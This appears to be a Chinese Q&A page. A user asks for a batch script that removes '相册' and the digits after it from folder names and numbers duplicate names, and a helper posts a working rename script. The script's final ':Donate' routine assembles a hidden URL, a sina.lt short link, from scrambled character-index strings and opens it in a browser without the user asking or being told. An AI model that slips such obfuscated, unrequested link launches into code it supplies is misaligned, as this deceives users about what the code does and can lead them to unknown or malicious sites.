求bat批量删除文件夹名中的特定字符和后面的字符
某文件夹里面有很多文件夹,文件夹名比较繁琐,需要批量删减一下。如图所示,每个文件夹都包含相册字符和后面一串数字。我希望把相册和后面的字符都删除。但是删除以后,有文件夹重名...
某文件夹里面有很多文件夹,文件夹名比较繁琐,需要批量删减一下。如图所示,每个文件夹都包含相册字符和后面一串数字。我希望把相册和后面的字符都删除。但是删除以后,有文件夹重名,比如图中文件夹改名以后,会有5个风景文件夹,,我希望文件夹进行编号,比如风景1,风景2,风景3,风景4,风景5.
展开
展开全部
@echo off & title 批量删除特定字符 By 依梦琴瑶
cd /d %~dp0
::脚本放在要处理的主文件夹内执行即可
call :Initialize
for /f "delims=" %%a in ('dir /ad/b *相册_*') do (
call :Operation "%%~a"
)
call :Revise "%Cache%"
echo, & echo 完成操作,请按任意键退出!
pause>nul
call :Donate
exit
:Operation
set "Dn=%~nx1"
set "Dn=%Dn:相册_=|%"
for /f "tokens=1 delims=|" %%i in ("%Dn%") do (
if exist "%%~i" (
call :Numbering "%~1" "%%~i"
) else (
if exist "%%~i1" (
call :Numbering "%~1" "%%~i"
) else (
echo 重新命名 "%~nx1" --^>^> "%%~i"
ren "%~1" "%%~i"
)
)
)
goto :eof
:Numbering
set "Num=1"
:Loop
set "N=%~2%Num%"
if exist "%N%" (
set /a Num+=1
goto Loop
)
echo 重新命名 "%~nx1" --^>^> "%N%"
ren "%~1" "%N%"
set /a Num+=1
(echo %Num%)>"%Cache%\%~2"
goto :eof
:Revise
for %%i in ("%~1\*") do (
set /p Ln=<"%%~i"
if exist "%%~nxi" (
call :Reren "%%~nxi" "%%~nxi%%Ln%%"
)
)
rd /s /q "%~1"
goto :eof
:Reren
echo 修正命名 "%~1" --^>^> "%~2"
ren "%~1" "%~2"
goto :eof
:Initialize
set "Cache=%tmp%\Wait_For_Correction"
if exist "%Cache%" rd /s /q "%Cache%" >nul 2>nul
md "%Cache%" >nul 2>nul
goto :eof
:Donate
set S0=fGRH
set S1=.:ailnhpst/
set S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%
set S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%
start "" "%S2%%S3%%S1:~10,1%%S0%"
exit
来自:求助得到的回答
推荐律师服务:
若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询